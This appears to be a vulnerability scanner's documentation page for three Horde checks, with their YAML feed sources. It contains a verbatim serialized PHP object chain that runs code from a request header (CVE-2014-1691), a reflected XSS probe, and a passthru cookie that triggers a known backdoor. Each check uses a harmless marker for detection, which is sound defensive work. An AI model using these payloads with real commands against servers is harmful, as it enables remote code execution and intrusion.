Horde — 3 vulnerability checks
noctis ships 3 vulnerability checks for Horde, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Horde Framework _formvars unserialize() PHP Code Execution
| CVE | CVE-2014-1691 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/horde/CVE-2014-1691.yaml |
Tests Horde up to 5.1.1 for the PHP object injection in the _formvars request parameter, which is passed to unserialize() without authentication. The object chain used relies on Horde 4/5 framework classes, including the Kolab_Server package, so Horde 3.x installs and installs without that package are not reported by this test. The feed sends a POST to login.php, under /horde, the web root, /webmail and /groupware, whose _formvars parameter holds a serialized chain of Horde objects that, when destroyed, evaluates PHP code taken from the Cmd request header. That code only prints NOCTIS followed by the product of two random numbers and ends the request. The product does not appear in the request (the code is sent base64-encoded), so finding it in the reply proves that the server ran the injected PHP code. Nothing is written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/login.phpwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
rce_markerfor^NOCTIS[0-9]{10,12}$→ finding QoD 97: Horde _formvars unserialize() PHP code execution
References:
- https://nvd.nist.gov/vuln/detail/CVE-2014-1691
- http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection
- https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737149
- https://github.com/horde/horde/commit/da6afc7e9f4e290f782eca9dbca794f772caccb3
Feed source — tests/vulnerabilities/horde/CVE-2014-1691.yaml
# Horde Framework _formvars unserialize() PHP object injection — CVE-2014-1691
#
# Horde 3.1.x to 5.1.1 (Horde_Variables, lib/Horde/Variables.php) passes the
# request parameter _formvars to unserialize() before any authentication. A
# serialized Horde_Kolab_Server_Decorator_Clean object reaches, from its
# __destruct(), Horde_Prefs_Identity::delete() -> save() ->
# Horde_Prefs::setValue(), whose 'sizecallback' option is a callable:
# array(Horde_Config, 'readXMLConfig'). readXMLConfig() evaluates the object's
# _oldConfig string, here "eval(base64_decode($_SERVER[HTTP_CMD]));die();", so
# the PHP code in the Cmd request header runs (gadget chain by EgiX, same
# serialized object as the public Metasploit module). The fix decodes
# _formvars with json_decode() instead. The chain needs the Horde 4/5
# classes, Horde_Kolab_Server among them: Horde 3.x and installs without the
# Kolab_Server package are vulnerable but give no finding here.
#
# Detection: POST the serialized object as _formvars to <dir>/login.php with
# Cmd = base64("exit(\"NOCTIS\".(A*B));"), A and B random six-digit numbers.
# Only the PHP interpreter produces NOCTIS<A*B>: the product never appears in
# the request (the code travels base64-encoded), so a reflecting server is not
# reported. The injected code prints one string and stops the request; nothing
# is written on the target.
#
# Improvements over the source NASL:
# - Benign computed marker instead of phpinfo(); the marker cannot come from
# a reflected request or from a phpinfo() page served by another app.
# - The NASL only tries the location its product detection found; the feed
# walks the usual install paths (/horde, /, /webmail, /groupware) itself.
# - The evidence carries the marker only, not the page.
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_horde_65200.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103926, GPL-2.0-only). Request body copied
# verbatim from the NVT.
uid: 84c6ec48-a542-4db5-a0d7-194e6a2e8c41
name: "Horde Framework _formvars unserialize() PHP Code Execution (CVE-2014-1691)"
description: |
Tests Horde up to 5.1.1 for the PHP object injection in the _formvars
request parameter, which is passed to unserialize() without
authentication. The object chain used relies on Horde 4/5 framework
classes, including the Kolab_Server package, so Horde 3.x installs and
installs without that package are not reported by this test. The feed sends a POST to login.php, under /horde, the web
root, /webmail and /groupware, whose _formvars parameter holds a serialized
chain of Horde objects that, when destroyed, evaluates PHP code taken from
the Cmd request header. That code only prints NOCTIS followed by the
product of two random numbers and ends the request. The product does not
appear in the request (the code is sent base64-encoded), so finding it in
the reply proves that the server ran the injected PHP code. Nothing is
written on the target.
cves: [CVE-2014-1691]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.25
tags: [horde, php, php-object-injection, unserialize, deserialization, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-1691"
- "http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection"
- "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737149"
- "https://github.com/horde/horde/commit/da6afc7e9f4e290f782eca9dbca794f772caccb3"
# OpenVAS/Greenbone NASL 2014/gb_horde_65200.nasl (GPL-2.0-only)
steps:
# Random product, computed once: the marker the injected PHP prints, and
# the base64 of that PHP code for the Cmd header.
- id: proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{
marker: "NOCTIS" + (a * b),
cmd: base64_encode("exit(\"NOCTIS\".(" + a + "*" + b + "));")
}
store_as: proof
# ── Loop group: the following steps run once per install dir, until the
# first dir whose reply carries the marker (stop: true).
- id: init-resp
action: set_var
var_name: resp
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/horde", "", "/webmail", "/groupware"]
- id: exploit
action: http_request
method: POST
path: "{{dir}}/login.php"
port: "{{port}}"
headers:
Cmd: "{{proof.cmd}}"
Content-Type: "application/x-www-form-urlencoded"
body: "_formvars=O%3a34%3a%22Horde_Kolab_Server_Decorator_Clean%22%3a2%3a%7bs%3a43%3a%22%00Horde_Kolab_Server_Decorator_Clean%00_server%22%3bO%3a20%3a%22Horde_Prefs_Identity%22%3a2%3a%7bs%3a9%3a%22%00%2a%00_prefs%22%3bO%3a11%3a%22Horde_Prefs%22%3a2%3a%7bs%3a8%3a%22%00%2a%00_opts%22%3ba%3a1%3a%7bs%3a12%3a%22sizecallback%22%3ba%3a2%3a%7bi%3a0%3bO%3a12%3a%22Horde_Config%22%3a1%3a%7bs%3a13%3a%22%00%2a%00_oldConfig%22%3bs%3a46%3a%22eval%28base64_decode%28%24_SERVER%5bHTTP_CMD%5d%29%29%3bdie%28%29%3b%22%3b%7di%3a1%3bs%3a13%3a%22readXMLConfig%22%3b%7d%7ds%3a10%3a%22%00%2a%00_scopes%22%3ba%3a1%3a%7bs%3a5%3a%22horde%22%3bO%3a17%3a%22Horde_Prefs_Scope%22%3a1%3a%7bs%3a9%3a%22%00%2a%00_prefs%22%3ba%3a1%3a%7bi%3a0%3bi%3a1%3b%7d%7d%7d%7ds%3a13%3a%22%00%2a%00_prefnames%22%3ba%3a1%3a%7bs%3a10%3a%22identities%22%3bi%3a0%3b%7d%7ds%3a42%3a%22%00Horde_Kolab_Server_Decorator_Clean%00_added%22%3ba%3a1%3a%7bi%3a0%3bi%3a1%3b%7d%7d"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: resp
# Keep only the marker (not the page) for the evidence. The marker is
# matched as a whole number: a longer digit run is not our product.
- id: marker-check
action: script
code: |
if type_of(resp.body) == "string" && egrep(proof.marker + "([^0-9]|$)", resp.body) != "" {
proof.marker
} else { "" }
store_as: rce_marker
- id: detect
action: match
source: rce_marker
pattern: "^NOCTIS[0-9]{10,12}$"
on_match:
finding:
title: "Horde _formvars unserialize() PHP code execution"
confidence_delta: 0.70
qod: 97
evidence: "POST {{dir}}/login.php with a serialized Horde object chain in _formvars ran the PHP code from the Cmd header: the reply carries {{rce_marker}}, the product of two random numbers that appear nowhere in the request (CVE-2014-1691)."
remediation: "Upgrade Horde to 5.1.2 or later (Horde_Variables then decodes _formvars with json_decode() instead of unserialize())."
stop: trueHorde IMP status.php3 script Reflected Cross-Site Scripting
| CVE | CVE-2002-0181 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | xss — XSS |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/horde/CVE-2002-0181.yaml |
Tests Horde IMP 2.2.7 and earlier, and Horde 1.2.7 and earlier, for the reflected cross-site scripting in the script parameter of status.php3, which the page prints without escaping. Under /imp, /horde/imp, /webmail, /mail, /horde and the web root, the feed requests status.php3?script=<script>alert(/marker/)</script>, where the marker is random for each scan, and reports the install when that exact script element comes back unescaped in a 200 reply. A control request sending the same payload to a random, absent .php3 script in the same folder must not reflect it, so a server that echoes any parameter is not reported. The script is harmless and only reaches the scanner.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/status.php3?script=%3Cscript%3Ealert(/{{sc.marker}}/)%3C/script%3E - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/{{sc.marker}}.php3?script=%3Cscript%3Ealert(/{{sc.marker}}/)%3C/script%3E - Parses / computes the next value with a Rhai script
- Checks
hitfor^reflected$→ finding QoD 75: Horde IMP status.php3 script Reflected Cross-Site Scripting (CVE-2002-0181)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2002-0181
- http://www.securityfocus.com/bid/4444
- http://marc.info/?l=bugtraq&m=101828033830744&w=2
- http://www.debian.org/security/2002/dsa-126
Feed source — tests/vulnerabilities/horde/CVE-2002-0181.yaml
# Horde IMP / Horde status.php3 "script" reflected cross-site scripting — CVE-2002-0181
#
# IMP 2.2.7 and earlier, and Horde 1.2.7 and earlier, print the "script"
# request parameter of status.php3 into the page without HTML escaping (BID
# 4444, Bugtraq 2002-04-06 "IMP 2.2.8 (SECURITY) released", credited to Nuno
# Loureiro; fixed in IMP 2.2.8 and Horde 1.2.8). The feed follows the CVE
# record and the advisories, which request
# status.php3?script=<script>...</script>.
#
# Detection (benign — the injected script only names a random marker and is
# shown to nobody but the scanner): GET
# <dir>/status.php3?script=<script>alert(/<marker>/)</script>
# (percent-encoded, no quote, so magic_quotes_gpc cannot alter it) and look for
# that exact, unescaped script element in a 200 reply (QoD 75). Whatever the
# page context (HTML text, attribute or JavaScript string), an unescaped
# </script><script> pair runs in the victim's browser.
#
# Improvements over the reference check:
# - The reference only tries the location its product detection found and
# matches a fixed string; the feed walks the usual install folders itself
# (/imp, /horde/imp, /webmail, /mail, /horde, web root) and sends a random
# marker per scan, so a page that always shows a fixed script is not
# reported.
# - A control request sends the same payload to a random, absent .php3 script
# in the same folder: a server that reflects it there too is a generic
# parameter reflector, not IMP, and is not reported (fail-closed: no
# control reply, no finding).
#
# CVSS: CVE-2002-0181 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT pre2008/imp_status_xss.nasl
# (OID 1.3.6.1.4.1.25623.1.0.15616, GPL-2.0-only).
uid: 15a8bc8b-1fe4-4305-9b6f-ce5c399fa93f
name: "Horde IMP status.php3 script Reflected Cross-Site Scripting (CVE-2002-0181)"
description: |
Tests Horde IMP 2.2.7 and earlier, and Horde 1.2.7 and earlier, for the
reflected cross-site scripting in the script parameter of status.php3,
which the page prints without escaping. Under /imp, /horde/imp, /webmail,
/mail, /horde and the web root, the feed requests
status.php3?script=<script>alert(/marker/)</script>, where the marker is
random for each scan, and reports the install when that exact script
element comes back unescaped in a 200 reply. A control request sending the
same payload to a random, absent .php3 script in the same folder must not
reflect it, so a server that echoes any parameter is not reported. The
script is harmless and only reaches the scanner.
cves: [CVE-2002-0181]
cvss: 7.5
severity: high
category: xss
confidence_base: 0.30
tags: [horde, imp, webmail, php, xss, reflected-xss, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2002-0181"
- "http://www.securityfocus.com/bid/4444"
- "http://marc.info/?l=bugtraq&m=101828033830744&w=2"
- "http://www.debian.org/security/2002/dsa-126"
# OpenVAS/Greenbone NASL pre2008/imp_status_xss.nasl (GPL-2.0-only)
steps:
# ── Random marker and the exact script element to look for ───────────────
- id: gen-marker
action: script
code: |
let m = "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4);
#{ marker: m, want: "<script>alert(/" + m + "/)</script>" }
store_as: sc
# ── Loop group: every following step runs once per folder ────────────────
- id: init-probe-r
action: set_var
var_name: probe_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/imp", "/horde/imp", "/webmail", "/mail", "/horde", ""]
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-clean
action: set_var
var_name: ctrl_clean
var_value: false
- id: init-hit
action: set_var
var_name: hit
var_value: ""
- id: probe
action: http_request
method: GET
path: "{{dir}}/status.php3?script=%3Cscript%3Ealert(/{{sc.marker}}/)%3C/script%3E"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
store_as: probe_r
- id: check
action: script
code: |
let body = if type_of(probe_r.body) == "string" { probe_r.body } else { "" };
if probe_r.status == 200 && body.contains(sc.want) { "reflected" } else { "" }
store_as: hit
# ── Control: the same payload to a random, absent .php3 script ──────────
- id: control
action: http_request
method: GET
path: "{{dir}}/{{sc.marker}}.php3?script=%3Cscript%3Ealert(/{{sc.marker}}/)%3C/script%3E"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit != ""'
store_as: ctrl_r
- id: control-check
action: script
condition: 'hit != ""'
code: |
let body = if type_of(ctrl_r.body) == "string" { ctrl_r.body } else { "" };
ctrl_r.status != 0 && !body.contains(sc.want)
store_as: ctrl_clean
# ── Finding ───────────────────────────────────────────────────────────────
- id: report
action: match
source: hit
pattern: "^reflected$"
condition: "ctrl_clean == true"
on_match:
finding:
title: "Horde IMP status.php3 script Reflected Cross-Site Scripting (CVE-2002-0181)"
description: "An unauthenticated request to status.php3 with the script parameter set to a script element carrying a random marker returned that script element unescaped in the page, while an absent script in the same folder did not reflect it. An attacker can send a logged-in webmail user a link that runs any script in the IMP origin, for example to steal the session cookie and read the user's mail."
remediation: "Upgrade to IMP 2.2.8 / Horde 1.2.8 or later (IMP 2.2 and Horde 1.2 are long unsupported: move to a current Horde Groupware release)."
confidence_delta: 0.50
qod: 75
evidence: "{{dir}}/status.php3?script=<script>alert(/{{sc.marker}}/)</script> was reflected unescaped: {{sc.want}}; the same payload sent to an absent script ({{dir}}/{{sc.marker}}.php3) was not"
stop: trueHorde backdoored source package command execution
| CVE | CVE-2012-0209 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/horde/horde-source-package-backdoor.yaml |
Tests for the backdoor that shipped in the Horde 3.3.12, Horde Webmail 1.2.10 and Horde Groupware source packages published between 2 November 2011 and 7 February 2012. The backdoored services/javascript.php reads an href cookie of the form function:argument and calls the function, so the passthru function runs a shell command. The feed requests javascript.php, under /horde, the web root, /webmail and /groupware, with the cookie passthru:echo NOCTIS$((A*B)) where A and B are random six-digit numbers. Finding NOCTIS followed by the product in the reply proves that the server ran the command: the product does not appear in the request, so a server that merely reflects the cookie is not reported. Nothing is written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/services/javascript.php?app=horde&file=open_calendar.js - Parses / computes the next value with a Rhai script
- Checks
rce_markerfor^NOCTIS[0-9]{10,12}$→ finding QoD 97: Horde backdoored javascript.php executes commands from the href cookie
References:
- https://nvd.nist.gov/vuln/detail/CVE-2012-0209
- http://lists.horde.org/archives/announce/2012/000749.html
- http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/
- https://www.securityfocus.com/bid/51989
Feed source — tests/vulnerabilities/horde/horde-source-package-backdoor.yaml
# Horde 3.3.12 source package backdoor — CVE-2012-0209
#
# The Horde FTP server was compromised between 2011-11-02 and 2012-02-07 and
# the horde-3.3.12, horde-webmail-1.2.10 and Horde Groupware packages shipped
# a backdoored services/javascript.php: the "href" cookie holds
# "<function>:<argument>" and the function is called with the argument, so
# "passthru:<command>" runs a shell command (Metasploit horde_href_backdoor
# uses the same cookie; the output of the command is returned in the page).
#
# Detection: GET <dir>/services/javascript.php?app=horde&file=open_calendar.js
# with Cookie: href=passthru:echo NOCTIS$((A*B)), A and B random six-digit
# numbers. Only a shell evaluating the arithmetic produces NOCTIS<A*B>: the
# product never appears in the request, so a page that reflects the cookie
# (or strips the $, ( and ) characters) is not reported. Nothing is written.
#
# Improvements over the source NASL:
# - Benign computed marker instead of the NASL's generic command table
# (id, cat /etc/passwd...), with an exact-product match: no reflection FP.
# - The NASL only tries the location its product detection found; the feed
# walks the usual install paths (/horde, /, /webmail, /groupware) itself.
# - The evidence carries the marker only, not the page.
#
# Ported from OpenVAS/Greenbone NVT 2012/gb_horde_backdoor_51989.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103423, GPL-2.0-only).
uid: 5d3f7a12-6b8e-4c41-9a07-e2c1d84b3f56
name: "Horde backdoored source package command execution (CVE-2012-0209)"
description: |
Tests for the backdoor that shipped in the Horde 3.3.12, Horde Webmail
1.2.10 and Horde Groupware source packages published between 2 November
2011 and 7 February 2012. The backdoored services/javascript.php reads an
href cookie of the form function:argument and calls the function, so the
passthru function runs a shell command. The feed requests javascript.php,
under /horde, the web root, /webmail and /groupware, with the cookie
passthru:echo NOCTIS$((A*B)) where A and B are random six-digit numbers.
Finding NOCTIS followed by the product in the reply proves that the server
ran the command: the product does not appear in the request, so a server
that merely reflects the cookie is not reported. Nothing is written on the
target.
cves: [CVE-2012-0209]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.25
tags: [horde, php, backdoor, supply-chain, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2012-0209"
- "http://lists.horde.org/archives/announce/2012/000749.html"
- "http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/"
- "https://www.securityfocus.com/bid/51989"
# OpenVAS/Greenbone NASL 2012/gb_horde_backdoor_51989.nasl (GPL-2.0-only)
steps:
- id: proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{
marker: "NOCTIS" + (a * b),
cookie: "href=passthru:echo NOCTIS$((" + a + "*" + b + "))"
}
store_as: proof
- id: init-resp
action: set_var
var_name: resp
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/horde", "", "/webmail", "/groupware"]
- id: exploit
action: http_request
method: GET
path: "{{dir}}/services/javascript.php?app=horde&file=open_calendar.js"
port: "{{port}}"
headers:
Cookie: "{{proof.cookie}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: resp
- id: marker-check
action: script
code: |
if type_of(resp.body) == "string" && egrep(proof.marker + "([^0-9]|$)", resp.body) != "" {
proof.marker
} else { "" }
store_as: rce_marker
- id: detect
action: match
source: rce_marker
pattern: "^NOCTIS[0-9]{10,12}$"
on_match:
finding:
title: "Horde backdoored javascript.php executes commands from the href cookie"
confidence_delta: 0.70
qod: 97
evidence: "GET {{dir}}/services/javascript.php with Cookie href=passthru:echo NOCTIS$((A*B)) returned {{rce_marker}}, the product of two random numbers that appear nowhere in the request (CVE-2012-0209)."
remediation: "Replace the Horde installation with a clean release (3.3.13 / Webmail 1.2.11 or later, downloaded after the 7 February 2012 repackaging) and treat the server as compromised."
stop: true